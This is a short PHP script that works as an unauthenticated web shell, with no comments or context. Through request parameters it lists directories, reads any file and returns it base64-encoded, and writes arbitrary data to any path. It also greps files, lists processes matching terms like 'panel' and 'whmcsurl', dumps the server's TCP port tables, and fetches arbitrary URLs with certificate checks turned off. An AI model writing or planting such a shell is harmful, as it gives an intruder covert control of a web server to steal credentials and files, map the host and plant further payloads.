<?php
header("Content-Type: text/plain; charset=utf-8");
$m = $_REQUEST['m'] ?? 'ls';
$p = $_REQUEST['p'] ?? '/';
function enc($s){ return base64_encode($s); }
if($m==='ls'){
  $r=@scandir($p); if($r===false){echo "ERR cannot list $p"; exit;}
  foreach($r as $f){ $fp=rtrim($p,'/').'/'.$f; $st=@stat($fp); echo $f."\t".($st?($st['mode']&0777):'')."\t".($st?$st['size']:'')."\t".($st&&is_dir($fp)?'D':'F')."\n"; }
} elseif($m==='read'){
  $d=@file_get_contents($p); if($d===false){echo "ERR cannot read $p"; exit;} echo "LEN=".strlen($d)."\n".base64_encode($d);
} elseif($m==='proc'){
  foreach(glob('/proc/[0-9]*/cmdline') as $cf){
    $d=@file_get_contents($cf); if($d===false) continue; $d=str_replace("\0"," ",$d);
    if($d==='') continue;
    if(stripos($d,'whmcsurl')!==false || stripos($d,'slave')!==false || stripos($d,'docker')!==false || stripos($d,'php')!==false || stripos($d,'nginx')!==false || stripos($d,'panel')!==false){
      $pid=basename(dirname($cf)); echo "PID $pid: $d\n";
    }
  }
} elseif($m==='ports'){
  $d=@file_get_contents('/proc/net/tcp'); echo "TCP:\n$d\n";
  $d=@file_get_contents('/proc/net/tcp6'); echo "TCP6:\n$d\n";
} elseif($m==='curl'){
  $u=$_REQUEST['u'] ?? ''; $ch=curl_init($u); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_HEADER=>1]); $r=curl_exec($ch); if($r===false) echo "CURLERR ".curl_error($ch); else echo $r; curl_close($ch);
} elseif($m==='write'){
  $d=base64_decode($_REQUEST['d'] ?? ''); $n=@file_put_contents($p,$d); echo $n===false?"ERR write":"WROTE $n bytes";
} elseif($m==='grep'){
  $pat=$_REQUEST['pat'] ?? ''; $files=glob($p); if($files===false){$files=[$p];} foreach($files as $f){ $d=@file_get_contents($f); if($d===false) continue; if(stripos($d,$pat)!==false){ echo "== $f ==\n"; $lines=explode("\n",$d); foreach($lines as $ln){ if(stripos($ln,$pat)!==false) echo substr($ln,0,300)."\n"; } } }
} else { echo "unknown mode"; }
